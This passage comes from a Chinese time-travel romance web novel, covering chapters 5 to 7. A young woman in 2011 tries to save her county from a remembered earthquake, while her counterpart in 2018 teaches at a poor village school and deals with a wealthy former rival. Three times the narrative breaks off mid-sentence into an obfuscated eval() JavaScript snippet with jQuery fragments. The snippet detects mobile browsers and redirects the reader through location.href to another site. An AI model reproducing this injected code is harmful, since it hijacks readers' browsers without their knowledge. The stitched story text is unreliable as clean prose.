谢京睿不知所措,才缓和过来的关系怎么突然就掉入冰窟了?他将眼神收回,想起出院时医生的叮嘱,尽可能让她情绪保持平稳,于是笑着替自己解围,“是,我有病,我得吃药。”
一个硬拳打在软棉花上,田小沛心里憋得慌,她琢磨着为什么要接受他的邀请,她和他势不两立啊!
转念一想,不对,现在不是2011年,她是老师,他看着像有钱的公子哥,所以,他们身份都变了,那些陈谷子烂芝麻的小事也该翻篇吧。
好奇怪,她这次的梦里为什么会有他!
好痛苦,居然跟昔日死对头同桌吃饭!
她使劲拍打两颊,催促自己快醒快醒,白日做梦也不要这么离谱。
谢京睿以为又刺激她的病复发了,吓得变了脸色,忙阻止她说,“我错了,这就是赔罪餐,我诚挚向你道歉,如果你有不满,打我都可以!”
田小沛盯着他焦急担忧的眼神,忘记了手上的动作。
向来以鼻孔看人、藐视除他爸以外所有人的谢京睿,居然有像她道歉求饶的一天!
啊哈哈哈哈……啊!
“你再说一遍。”她故意说得很大声,成功吸引所有人的目光。
谢京睿语气诚恳复述了一遍。
“你说啥,我听不到。”她就是要好好捉弄他一番。
谢京睿也不顾众人看戏的眼光,提高音量又说了一遍。
田小沛笑得花枝乱颤,重重地拍了几下桌子,大家目光纷纷投向喜怒无常的她,小声嘀咕这女孩以后驭夫定是把好手。
“行,以后你每看见我一次,就把刚才的话复述一遍,ok?”
谢京睿抱着“让她开心”的原则同意了。
田小沛摇头晃脑地啃了几块糖醋排骨,谢京睿见她吃得开心,心里的石头总算落下了。过了一会他又问,女生们的姨妈巾够不够,不够的话他可以追加,他还有长期赞助姨妈巾的打算。
“咳咳咳……”田小沛手捂着胸口,脸咳得煞白,两只圆溜溜的杏眼瞪向他,“你要想整死我直接说,不带这么恶心人的。你……你一个男人,脑子里污七八糟的想些什么!”
他被她这么一说,脸色越发窘了,“你不是说这是做好事,不要拘泥这些细节嘛!”
田小沛盯着他看了半天,那表情不像是开玩笑或撒谎,微微思忖了下,问他,“我之前都做了什么?”
这话犹如深水炸弹,把他深埋着的对她言行失常的疑惑全炸出水面,“你真的不记得了?”
“我哪有不记得。我就想试试你有没有诚意。”她狡黠地逃过了追问,随即将视线移到美食上。
“我不是说着玩的。”为了表决心,谢京睿索性摊牌了,“我这几天已经和厂家联系上了,以你的名义给女生们免费发放……用品,直到学校倒闭。”
直到学校倒闭?田小沛深吸一口气,她没听错吧,如果小学办了几十年,年年月月
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17068845|195191||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
都这么发?那,如果一直不倒呢?她快速在脑子里算了笔账,现在只有六年级女生用得上姨妈巾,虽然人数不多但每个月都要啊,而且万一以后扩招呢,一直发一直发,这是笔不小的数目啊!
谢京睿猜到她一定会考虑钱,笑说他和厂家直接签合同,长期供货优惠肯定不少,而且他家企业也会帮厂家打广告,价格就更低了,要她不必担心资金。
“你家很有钱么?”田小沛看了他格子衫上的logo,虽然不认得,但看衣服材质也知道不便宜。
谢京睿想,他虽然没在她面前刻意显摆过自己,但她是知道他家企业的,只要在网上一查,就能知道他身家不菲,看来她果然不在意他。
“等等。”她回想起他刚说的话,“你说以我的名义发?为什么?”
他深深地看了她一眼,他们接触了这些天,她应该是知道他心意的吧,之前她一直在逃避这个话题,现在却问得这么直白,他不由得困惑,“你像变了个人似的。”
田小沛突然觉得好无趣,跟他说话是真累,答非所问,心思深沉,跟她记忆中那个拽上天的谢京睿判若两人。她叹了口气,做梦嘛,何必较真。
“行吧,你爱咋样咋样。”
谢京睿见她答应得爽快,心中的疑虑被连串的欢喜扫得干干净净。
两人吃完饭出来天已经黑了。
谢京睿找店员要了几个保温袋,将打包的菜整整齐齐放在里面,拎到车上对田小沛说,“这些是给禾苗和那些女老师的,今天要吃不上,可以放到明天热一热。”
田小沛噗哧一笑,她真是很难把从前那个嚣张跋扈的谢京睿和眼前这个贴心暖男联系在一起,真是梦里啥都有!
但当她回到学校,站在教师宿舍门口那一刻,才明白谢京睿打包的深意。
宿舍是真寒酸!一溜长方形的红色砖房,大概四米长,砖墙上嵌两扇铁窗,中间一扇铁门,再没有多的装饰了,看上去比某些农民自建房还差。
踏进大门,左侧放着四张简陋的上下铺,右侧水泥墙开了道小门,里面是盥洗间,房间因为没有多的家具家电和装饰显得特别宽敞。
田小沛咋舌——这比她军训住过的宿舍还要差。
“家希姐。”一个笑眼弯弯齐耳短发的女孩走来接过她的打包袋,看了眼里面的菜色,惊叫道,“太好了,又可以改善伙食了。”
田小沛认出她是坐在她对面工位的女孩,问道,“你们伙食开得很差吗?”
禾苗朝窗外努了努嘴,笑得酸涩,“我们又没人疼,只能冷锅冷灶凑合吃。”
小沛走出门外,看见屋外一角搭了个简易的雨棚,棚下是水泥和砖砌的灶台,上面架一口大铁锅,灶台上放着几罐盐、味精和酱油,旁边有几把开了封口的挂面,目测她们今晚吃的是清水挂面。
她内心疾呼:这可比我家县城边的农村还破啊!
她拼命拍着脸,快醒醒,快醒醒,我不要在这儿待了。
但,无济于事。
是不是睡着了就能醒来了?田小沛脸也懒得洗,找到自己床位倒头就睡。
悲催的是,她发现,第二天她依然在溪水村。
5. 嘉宁县 2011年
谢常德做农产品批发商已有多年,积累大量财富和人脉资源,由于他头脑活、讲信用、不贪不傲,嘉宁县三分之二的农产品成为他稳定货源,省城乃至各地的零售商、批发市场常年和他保持合作。
现在电商模式兴起,为了多辟销货渠道,他决定试水线上销售模式,业务增多,自然需要大量且专业的工作人员加入,于是萌生了在省城开公司的念头。
田伟是他想到的第一个合作伙伴。田家和谢家自祖辈起就来往密切,子孙和睦。
田伟是个话少实干的人,这些年跟着谢常德风里来雨里去,吃了不少苦头,但也赚得盆满钵满。他最大的特点就是小富即安,不愿折腾。
谢常德深知他的性格,正犹豫拉不拉他入伙,没想到他自动找上门,而且要求尽快搬离嘉宁县。
两人断断续续谈了两天,把新业务的合作细节都敲定了,但谢常德并没答应立马搬家,省城的公司、仓库、住房都在做扫尾工作,一切都需要时间。
原本抱有希冀的田家希,在听到这一消息后彻底懵了。她清楚地记得谢家早在半年前就已搬到清丰市,谢京睿将在28号那天打电话约她出去玩,而且他没改过名,并且这个时候他已经暗示过他喜欢她……
现实为何和记忆偏差那么大?
田家希也曾怀疑在穿越前受了较大刺激诱发旧疾,导致她对刻意忘掉的往事记忆失准。但有关谢京睿的人和事,她是不会记错的,她坚信!
她在书房里找到了那本《时间简史》。
在失去亲人的七年时间里,她不止一次幻想过“如果时光能倒流,她将如何拯救亲人”的画面。她知道现实世界没有如果,但肝肠寸断的思念让她的幻想愈演愈烈。她开始大量寻找关于时间学说的科学依据,《时间简史》给了她答案。
她只要有空就会翻看,如饥似渴地想弄懂书中的一切。就在她看第三遍时,不知触动了什么机关,莫名其妙却又如愿地回到了七年前。
那么,现在这一切种种不符记忆的偏差事件,是不是也能在书中找到答案?
她打开了这本书,细细地看了封面和内页,除了出版社和排版与七年后不一样外,其余没啥区别。她觉得奇怪,七年前她应该是没有这本书的。刚看了几页,隔壁黄欣苹拎了一袋山核桃说是给小沛补脑。
田家希被妈妈喊到客厅,客气地接过核桃,又给黄阿姨倒了杯茶,然后乖乖坐在沙发一边。
黄欣苹见小沛最近文静许多,言行举止成熟不少,皮肤也变白了,再看那杏眼鹿鼻和少女感满满的小圆唇,笑说那天光顾着吃瓜没细看,小沛突然间好看许多,真是女大十八变啊!
田家希抿着嘴笑。
文莉心里乐滋滋的,说,“你别夸她,这孩子越夸越得意忘形,操不完的心。”
黄欣苹笑意渐渐消失,取而代之的是一丝羡慕的苦涩,“可惜我命中无子,要是能有个像小沛这样漂亮的女儿,我做梦都会笑醒。”
“认干女儿呗!”文莉半开玩笑半认真说。
黄欣苹还没来得及回答,田家希接过话说,“好啊,我也想认黄阿姨当干妈。”
文莉和黄欣苹面面相觑,对她的反应很意外。
殊不知,田家希已在脑中快速盘算好了,按当地习俗,认干亲要吃饭、互赠礼物,还要请亲朋好友见证,29号那天就有离开嘉宁县的借口了。
“好啊!”黄欣苹拍着手笑,像听懂田家希心声似的,聊起了在哪吃饭,买什么礼物。
田家希在茶几柜子下翻出一本黄历,学着妈妈的样子,一本正经地眯眼看了几眼,装模作样道,“就后天吧,后天是个黄道吉日,上面说,西北方是吉位。咱们县的西北方,她想到了清丰市。
黄欣苹走后文莉教育女儿说,“黄阿姨现在就一个人,工资不高,你让她去市里请客不是为难她吗?咱们县有好几个大馆子,就随便吃吃。”
田家希从妈妈口中得知刘叔叔已去世几年,怪不得那天黄阿姨对她的疑问会有那样费解的表情。她怔怔地盯着书桌,隐隐感觉到她到的世界和以往经历过的世界可能是两个不同的空间。
但,他们家的现状、爸妈的脾性、对她的态度及家里发生的事、接触的人,都大差不差,这又怎么解释?
为了成功避难,田家希想了个大家都能接受的方案:将认亲宴定在县城某个餐馆,饭后她自费包车带大家去清丰市玩一圈,理由是给大伙一个惊喜,至于惊喜是什么不重要,因为下午的大地震会转移所有人注意力,她只需要在地震前将亲朋好友带离嘉宁县即可。
计划拟定后,她便开始定人员名单。
第二天和黄阿姨商量妥定,田家希便催爸妈通知名单上的亲友。黄欣苹见她认亲比自己还积极,笑得合不拢嘴,也跟着张罗。
文莉心里泛酸,后悔昨晚多嘴,看丈夫被女儿支使得不亦乐乎,心中更堵,午饭也不做了,躺在床上装病。
到了晚间,父女俩盘点明天赴宴嘉宾,很满意没人推脱。
“谢伯伯一家能来吗?”田家希问。
“能。”田伟拍拍胸脯,“你谢伯伯虽然忙,但你爸的面子还是管用的。”
田家希笑了笑,想起了谢京睿,就目前他对她的态度,她不确定他能来。但她不希望他有事。
谢京睿的家在县城西边新建的高档小区里,离她家三公里远。
田家希骑单车一路向人打听他所在小区怎么走。认识她的阿姨奶奶们一副嘲弄表情看她,对着她离去的背影指指点点。
“这丫头,原本就有点疯,如今更疯了,说有大地震,要我们搬家。搬哪去?往哪搬?”
“我听说,还去县政府找领导,被保安拦回来了,你说搞笑不搞笑!”
“她爸妈为人低调得很,怎么养出这么个离经叛道的娃,我看就是惯的。”
“……”
有几句话飘进田家希耳朵里。她停下车注视着围成一圈说闲话的人,有几个阿姨和妈妈私交不错,以前还当面夸过她。她原本想回怼几句,脑中却闪出地震后遍地残缺不全的尸身画面,她们中的她、她、她,无一幸免。
她终是不忍,推着车走到她们跟前,很严肃也很诚恳告诉她们:“人的生命只有一次,我断不会拿这样的事开玩笑。如果你们不信,明天恰好是周末,离开咱们县,能保你们一命。”见她们仍在笑,又说,“就算是假的,你们也不损失什么,就当出去郊游了。”
说完她就走,不给她们质疑嘲笑的机会。她想,这些天她已经尽力了。
到了小区,谢京睿正和一帮马屁精小弟们打篮球,一个漂亮的投篮动作,夸张的掌声、欢呼声不绝于耳。
田家希循着声音望去,明亮暖白的灯光下,欣长挺拔的身姿不停跃动,神采飞扬,朝气蓬勃,是她记忆中的少年模样。
她内心泛起一圈涟漪。
谢京睿在传球间隙中瞥见了她。
很快就是中场休息。
田家希直奔他而去,简单地说明了来意。
谢京睿挑了挑眉,又用他自以为是的语气调侃,“我竟不知,我对你这么重要,还劳你专程邀请?”
田家希受不了他这狂样儿,怼道,“我是怕你曝尸荒野,没人给你收尸。”
“哎哟,我cao……”
“还有啊!”田家希指着他鼻子命令道,“现在我们两家合做生意,你可不能空手来,不能给我丢面子!”她想起多年前她没来得及接受的礼物,“就买串珍珠手链来!”
嘿!谢京睿被她猝不及防的命令和诅咒怔得一愣一愣的,望着她匆匆离去的背影,想挽回点颜面可已经来不及了,只得愤愤喊道,“记住了,我叫谢精锐,再喊错,我把你吊起来打!”
次日中午,亲友如约而至。黄欣苹和田家希装扮得很是漂亮,一老一小两个仙女被众人围坐在宴席中间连声恭贺。
谢精锐坐在田家希斜对面,觑眼看她给黄阿姨奉茶,姿态优雅,浅笑盈盈,很难把平时对他大呼小叫的母夜叉形象联系在一起;再看她白皙纤细的手臂,他下意识打开手中的首饰盒,瞟了粉白的珍珠手串两眼,没想到他瞎抓的手链和她还挺配。
他心里又忍不住得意,这世上就没有能难倒他谢精锐的事!
黄欣苹喝了干女儿的茶,从包里取出一枚青绿色的玉镯,笑着对大家说,“这镯子是我家传家宝,虽不值钱,也是我一番心意。我今天认了干女儿,也算是有后了,来,快收下。”说着就要给田家希戴上。
田家希哪想到她会送传家宝,吓得忙推辞,连声说“不合适”。
谢精锐脸一黑,死亡般眼神凝视着推脱不掉的田家希——他送的珍珠手链虽然不便宜,但哪比得上玉镯贵重啊。偏巧都是戴在手上的东西,别人不想比,也不得不比。嘿!玩我呢!
这时谢常德也拿出了他送的贺礼,“嘿!巧了,我送的也是玉。”
亲友们围过来一看
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17068846|195191||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,精美的礼盒里装着一对羊脂白和田玉吊坠。某个识货的亲戚拿起来看了看,说,“这是上等的好玉,价值不菲啊!”
紧接着,艳羡声赞美声不断。
谢精锐脸更黑了。
谢常德摸了摸稀疏的胡须,笑得嘿嘿的。他原本打算送钱,想到对方是一对母女,太俗。刚巧前阵子有人巴结他,送了一对玉如意,他觉得这寓意好,认亲就要如意嘛!送礼也要称心如意嘛!果然,大家都很满意。
田家希的姨妈打趣侄女说,“没想到你谢伯伯也送玉,可太巧了,这就是天意啊!要不趁今天大家都在,再认个干爹?”
大家都说好。
谢精锐不乐意地“哼”了一声,这声不大不小,刚好传进大家耳朵里。
姨妈有些尴尬,转移话题对他说,“我看你也有准备礼物,拿出来给大家看看。”
“我没有。”谢精锐把礼盒藏进裤兜里,被坐在一旁的老爸拽了出来,笑着说,“我儿还不好意思。”
大家笑着凑近一看,是一串粉白的珍珠手链,精致小巧,很适合田小沛。
田家希姑妈笑着看了眼谢精锐,别有深意对田家希说,“这一手玉镯,一手珍珠串,我们小沛可戴不过来了。是不是恨不得再长一只手,多接些礼物?”
“哈哈哈……”每个人都笑得很开心。
田家希有些尴尬,抬眸见谢精锐的脸拉得比马脸还长,她也想赶紧转移众人注意力,忙起身将礼物收下,说了声“谢谢”。
但在长辈们眼里,这举动太过流畅自然,大家趁着酒劲上头聊开了。姨妈对文莉眨着眼睛怪笑,“怪不说你们两家是世交呢,送个礼都这么亲密,这手链是男女朋友才能送的吧。”
此话一出,田家希脸色陡然一沉,尴尬得不知该怎么接话。
谢精锐原本就嫌他们太聒噪,现在越说越过分,刚要发火,被老爸按住了。
田伟忙起身解围,“他俩还小,开不得这样的玩笑,孩子马上要高考,学业为重,学业为重。”
喝得脸红脖子粗的田二叔立马拆台,“哪小啊!都18了。哥,你这个年纪和我嫂子正打得火热呢,要不是法律不允许,巴不得当时就扯证呐!”
哈哈哈……
大伙笑得前俯后仰,桌上的盘啊碟啊也被拍得咣啷咣啷的。
田家希见老爸拿酒堵二叔的嘴,大家都跟着起哄,热闹非凡,心想这顿饭照这样吃下去没完没了了,于是帮着劝下了酒,招呼大家赶紧吃完,说后面有惊喜。
大伙正在兴头上,听说要去省城逛,还有专车接送,乐呵呵地全都上了车。
谢精锐才不要和这帮人待在一起,正要逃,被老爸逮个正着,“你好歹给我点面子。”说着被强行塞进了车。
到了清丰市,已是下午两点半。田家希在车上就想好了,挑一部卖座率高的电影让他们看,比较好控制时间和人,最大程度避免大家因为无聊或走路太累闹着提前回家。
虽然县城也有电影院,但大伙还是挺给面子,毕竟田家希说看完电影才能揭晓惊喜,大家都蛮期待。
唯独文莉不太开心,又是包车又是请电影,这是很大一笔支出啊,她哪来这么多钱?
文莉两只审视的眼睛看向了丈夫……
电影快结束时,田家希走出影厅来到休息区,正对着东南方,那是让她又爱又痛的家乡——嘉宁县。再过五分钟,那里将夷为一堆废墟,三万人口将化为白骨。
她双手合十,紧闭双眼,泪一滴滴往下掉,口中喃喃祈祷,身体因为痛苦悲壮的回忆画面抖个不停……
五分钟过去了,她没有等来可怖的震感,一切安然无恙。睁开眼,人声鼎沸,来来往往的人们用奇怪的眼神看着她。
谢精锐因为无聊坐在休息区软椅上喝饮料。
田家希一眼看见他,飞过去抓着他胳膊,神情紧张,“你刚才感觉到什么没有?”
他白了她一眼。心想她真是他克星,好好的饮料,被她吓洒了一半。
“快,给你家座机打电话,看能不能打通?”
谢精锐懒得理他,起身就要走,这时手机响了,他掏出最新款的iphone4,瞄了眼盯着手机发呆的她,然后故意托着iphone4得意忘形地在她眼前游走了一圈,显摆完毕,才点了通话键,手机里传来马屁精小弟的声音,“大哥,咱今晚打不打球啊!”
田家希惊得一屁股坐在地上,脑子一片空白。
6. 溪水村 2018年
田小沛在意识到自己大概率是穿越时,先是小小的惊恐了一下,随后就开始研究自己是魂穿还是身穿,像电视剧里演的那样,她没有田家希的意识,那就是身穿了!那,田家希去哪儿了?她想起谢京睿曾说田家希在吃药,不会死了吧?
但,所有人都把她当成了田家希,说明没死啊。
还有,她现在是穿到了2018年的溪水村,过上了田家希老师的生活,这里的人除了谢京睿,她一个都不认识。谢京睿啊谢京睿,怎么哪里都有他!啊!莫不是,他在追田家希?
是了,是了,昨天吃饭他看她的眼神都快拉丝了。啊哈哈哈,没想到七年后他被另一个长得很像她的女人拿捏了!报应啊!
田小沛照了照镜子想,为什么会穿呢?因为长得太像了?
田家希是死是活?如果还活着那她是不是也穿了?
哎哟,田小沛摇了摇头,她的小脑袋瓜可想不了这么多。现在令她兴奋的是,她是真真正正当上老师了!不用高考,不用学专业知识,不用考教资,一步到位!她的梦想莫名其妙就实现了!再也不用做梦了!
哈哈哈哈……她笑出了声。
“家希姐,啥事这么好笑呢?”禾苗抱着资料从门口进来,坐在田小沛对面。
小沛随便找了个借口搪塞过去。
禾苗看了眼办公室没有别人,走到小沛跟前,对她笑得别有深意,“我刚看见谢少去校长办公室了,大概率会被留下。”
谢少?小沛想了想她应该指的是谢京睿,嘴一撇,想起章校长板着面孔教育她的样子,满脸鄙夷,“校长就这么没原则?有教师资格证吗?”
“嗐!”禾苗身体前倾凑近她说,“咱们学校老师紧缺啊!谁愿意来这地方啊!听说,他不要工钱,纯帮忙。”
“那也不能坏了规矩不是?以为带着幼儿园小朋友玩泥巴呢?”
禾苗知道她对谢京睿避之不及,对他俩的过往也闭口不提,所以无从得知她和他过去到底发生过什么。不过就他俩目前的表现,一个装失忆,一个霸气追,就知道里面有戏。
禾苗很好奇,抓住机会套话,“他堂堂革益集团的少爷,放着大把赚钱的生意不做,跑到这么偏僻的山村来当老师,还不是因为你。嗐,家希姐,他之前是不是得罪过你啊?”
小沛想,那多了去了。嘴臭、人贱、狂妄、目中无人、脾气差……哼,一口气都说不完。
“那你们之前经历过什么呀?”
小沛歪着头盯着她,“上班期间谈论这些合适吗?”
禾苗吐了吐舌头。她所知道的田家希,严守工作纪律,不爱八卦,性格孤僻,和人交往很有分寸。要不是这次住院她去医院照顾了家希几天,她是不会和她聊这么深。
禾苗很识趣地坐回了座位。
小沛见她不言语了,倒有些意外。就在这时,校长来电让她去趟办公室。
田小沛到时,谢京睿正和章启铭相谈甚欢。
章校长很热情地为二人介绍,谢京睿看着田小沛笑合不拢嘴,“认得,认得。”
“那既然是熟人,以后工作就好开展了。”章启铭看向小沛,“我喊你来,一是给你介绍新同事,二是人事档案归你管,那他的入职手续就你办了。”
来之前田小沛就了解到,“她”不仅是全年级语文老师、六年级班主任,还兼管学校人事工作,所以校长喊她来,意思已经很明显了,谢京睿录用了。
“校长,他有教师资格证么?笔试面试通过了吗?”
“笔试在他申请入职时就考过了。”章启铭抽出一张试卷递给她,“分数合格。至于体能测试嘛,我看过了,他各项运动都挺强的,教小学生绰绰有余。”
田小沛看了眼试卷,是自己学校出的,放水明显。
她原本不在意谢京睿是否在校任职,但刚才在办公室已经质疑过这种行为,如果答应下来以后她的人事工作要怎么开展?
最最最关键的是,她现在不是在做梦了,而是真真实实过日子,她才不想和讨人厌的谢京睿朝夕相处。
“教师资格证呢?”小沛问校长,“虽然咱们学校老师紧缺,但也不能坏了规矩,持证上岗是最基本的要求,这都达不到,以后咱们招老师还有说服力么?别人会怎么看我们学校?”
谢京睿倒吸口凉气看着她,这语气这说辞,和他初见她时一模一样,正经、冷漠、不通人情。他想不明白,昨天还活泼搞怪的一个人,今天怎么变这样了?
章校长轻拍了下小沛肩膀,将她带到角落,小声说,“你说的这些,我也考虑过。但事急从权嘛,咱们学校都是女老师,各自手头事情又多,从开校到现在,就没有像样的体育课。要不你看这样,让他边上课边考证,我们先看看表现,就不办入职手续了。”
田小沛正琢磨着,谢京睿上前一步说,“我纯义务帮忙。如果到时你们招到了体育老师我还没考到证,我走人。”
“那不行,虽说是体育老师,也要符合条件才行。”小沛转向章校长说,“招体育老师的事儿我包了。”
章启铭惊得直愣愣看向她,招聘这么高难度的事情,她眼睛不眨一下就包了?要知道,这两年,招人招得他心力憔悴、寝食难安,他连梦里都在劝说老师们留下。
小沛读懂校长担忧的眼神,玉手一挥,掷下豪言,“别担心,招聘这事,我有的是办法!”
望着“田家希”离去的背影,章启铭把提拔她当行政主任的想法定下了。
田家希毕业于省重点师范学院,学业优秀,原本可以在市重点小学当老师,她却主动请缨到这儿支教,并立志终身奉献于乡村教育事业,在如今浮躁不堪的社会里,这样的决定难能可贵。章启铭被她大无畏的精神感动。
到校后,田家希勤恳敬业、教学成绩突出,他早有意提拔她当行政主任。今天便借谢京睿这事儿试探她,看来她的确是个做事讲原则,不任人唯亲,又敢于挑重任的人。
章启铭很感激地握着谢京睿的手,“感谢你陪我演这出戏,田老师是个好老师,这下我可以放心把重任交给她了。”
虽然章校长婉拒了他入职申请,但田家希因此受到领导重用,谢京睿还是挺开心的。
“我给贵校资助的修缮资金,一周后应该能到账。对于教师宿舍的改造,我希望能亲自监工,随时进出校园。”
章启铭没想到拒绝了他的要求,他还能无条件提供帮助,激动得不知说什么好。
当初慈善企业出资建办学校时,由于资金有限,大部分钱都用在学生头上,老师们的办公楼和宿舍是省了又省的产物。如果
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17068847|195191||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
这次能给老师们创造个好的居住办公环境,相信新来的老师留下的机率也能大一点。
谢京睿的心愿算是达成了,但田小沛还没意识到给自己挖了个坑。
她从禾苗那儿了解到,溪水村小学教职工加上校长共有七人,校长身兼数职,五个女老师除了授课外承担了所有后勤工作,就连保安也要负责仓库管理、操场维护等工作。每个人工作排得非常满,没有假期,每天一睁眼就像奔赴战场的战士。
小学自建校起就没停止过招聘老师,大多数因为条件实在艰苦没待多久就走了,剩下的五个女老师中,有的家就在溪水村,比如数学老师禾苗;有的特能吃苦,比如戴黑边眼镜的英语老师甄珍;还有的胸怀无私奉献精神,比如语文老师田家希。
学校也向教育局打过增援教师队伍的报告,得到的答复是“等”。校长也去人才市场招聘过,结果并不理想。
田小沛手托着腮,思考着从哪里下手。
这时甄珍老师在楼下喊,说革益集团资助的办公用品到了,让她们下楼清点。
早在两个月前,谢京睿打着自家集团的名义,已向溪水村小学捐助过图书文具和姨妈巾,数量惊人,卡车源源不断驶入狭窄的小学门口,吓得章校长以为得罪了什么人。
也就在那时,谢京睿找到了思念多年的田小沛,虽然她改了名字,性情大变,但他还是兴奋异常。
今天捐助的办公用品,小到文档袋,大到复印机,把办公用的紧缺的部分都填补上了。
谢京睿汲取了上次教训,没有堆数量,没有搞捐助仪式,最大程度不给田家希造成负担。
可这时的田家希已成了田小沛,没有她痛苦的过往,也没有那么多细腻的心思,只觉得谢京睿这人够豪气,这样的捐助可以多来点。
谢京睿在旁看田小沛清点物品,自然得跟清点自家仓库似的,不禁对这个善变的女人心生疑窦。她是怎么办到前一秒拒绝他如同陌路,后一秒心安理得接受被拒人的馈赠的?
再细看她模样,皮肤好像黑了一点,举止神态倒和记忆中的田小沛贴合,难道生了场病就变了个人?他也拿不准,这两个月他和田家希一共也没见几面,每次都是匆匆。在病房里,她也都是闭眼躺着,并未深入观察。
禾苗走过来招呼他,笑嘻嘻道,“听说你还要帮我们修宿舍呐?”
“嗯,现在在筹备,大概六月底动工。”
“我们真是托家希姐的福哟!”禾苗听说还要搭个像样的厨房,笑得眼睛都没了。因为之前在医院照顾田家希,她和谢京睿也熟了,原本想多聊几句,但谢京睿的视线始终停留在田家希身上,她很识趣地闭嘴走开了。
田小沛分配完物品,转身见谢京睿注视着自己,走过来将物品清单交给他。
“我还以为你不会接受。”
“我不接受,你多难堪啊!”她用下巴点了点谢京睿带来的搬运工、司机,随身助理,“你堂堂什么集团少爷,做好事被拒绝,你让他们怎么看!”
“这么说我还得感谢你?”谢京睿嘴角上扬,饶有兴致地看着她。
“那倒不必。”她挥挥手,“我会向校长如实汇报,你的丰功伟绩又多了一件。”
“你知道我做这些不为名利。”
“那为什么?”
7. 嘉宁县-曲源县 2011年
一则题为“5.29嘉宁县将发生特大地震”的帖子,在29日晚被骂上论坛首页,引来大量网友评论围观。有人说这是哗众取宠、扰乱民心;有人说楼主不怀好意、想发国难财;还有人说,发帖人肯定跟嘉宁县有仇,不然为什么不造其他县的谣?
大家义愤填膺,纷纷要求把楼主人肉出来,接受法律制裁。
帖子越传越火,引起了公安部门的注意。
田家希当初发帖时并没匿名,顺着IP地址很容易找到她。加上她在线下也不止一次提醒大家地震将至,因此当预言变成谣言,被派出所民警带走也是意料中的事。
田家希迎着民众异样的眼光,一路上讽刺谩骂的话不绝于耳,就差向她扔臭鸡蛋烂叶子了。有家长趁机教育孩子不要跟她学,一时间,她成了茶余饭后的反面教材。
田家希觉得这个世界比他们口中的她还要癫。当初她发帖时无人问津,现在却突然窜出来一群自称正义的人要讨伐她,她到底给他们造成多大损失和精神伤害?他们不是一直把她的话当笑话吗?
但地震确实没发生,从事情性质上看,她就是在造谣。她百口莫辩。
民警问她,知道在网络上造谣会受到法律制裁吗?你已经成年了,你该为自己的行为负责。
田家希一直揪着令她费解的问题不放——29号为什么没有发生地震?难道她真的穿到另一个平行世界?
民警见她心不在焉,敲了敲桌子,又问她,你不仅在网上造谣,还在线下到处传播,严重扰乱公共秩序,认识到错误没有?
田家希又想,如果真是平行世界,不应该还有另一个她吗?她在哪里?
“田小沛!”民警提高了声音,“我在跟你说话,你有没有认真听?”
“叔叔。”田家希睁着一双无辜眼,“我真没造谣,29号那天真的发生了地震,我经历过。”
民警气笑了,看来她还真是执迷不悟。
“这样,给你十分钟时间好好反思反思。”见对方神情恍惚又是女学生,民警决定缓一缓再问。
这时同事进来将询问的民警喊了出去,说田妈妈在外面大吵大闹,扬言要是敢欺负她女儿,她就躺在派出所不回去了。
民警大怒,说我们是按正规流程询问,现在还没问不出个啥呢,这么闹是个什么意思!于是带人去跟田妈妈交涉。
田家希断断续续听到了一些对话,她游离的思绪被迅速扯了回来,她不能让爸妈为她担心,站在除她以外的所有人角度想,预言确实变谣言了,她没必要和事实硬掰。
所以当民警再次进来时,她主动承认了错误,态度诚恳,又说自己马上高考压力太大,幻想逃离现实,恰巧县里前段时间也发生过不起眼的小震,所以就借事说事。
民警念她初犯,并没造成实质性的损失,教育了几句,让她写了检讨书,罚了几百元钱,就让家长带回去了。
文莉见女儿安然无恙,又哭又笑,嘴里骂她胡言乱语惹祸上身,眼里却满是关切,问她有没有被吓到,会不会留案底?
干妈黄欣苹安慰说,就是普通的教育和罚款,不会对未来有影响。
一行人到家吃了晚饭,田家希也不多言,当晚很早就睡下了,半夜就开始做噩梦,七年前地震的惨烈画面像放电影似的一帧帧从她脑海里过,她想醒却醒不了,在梦里哭到窒息。
第二天,田家希将自己关在房间里,不吃不喝不见任何人。
此时离高考还剩不到一周时间,学校已经放假,让学生们各自回家复习备考。
黄欣苹给文莉出主意说,小沛这事现在传得满城风雨,虽然警方处理了,但堵不住悠悠之口啊,要不给她换个环境?
文莉也有这个打算,这些天她也饱受闲言碎语折磨,虽然她不内耗,有骂必怼,但众口铄金、积毁销骨。况且,她经营多年的服装店,生意越来越差,租期也快到了,她打算关店歇一段时间。
田伟此时帮谢常德打理事务已先行到了清丰市,但要全家立马搬家,还很仓促。
黄欣苹看出她的为难,这时才道出来意,说她在曲源县的亲戚要去外地女儿家住一阵子,让她帮忙看房,那儿离嘉宁县不远,离省城也近,她想带小沛过去住几天,放松下心情,高考前再把她带回来。
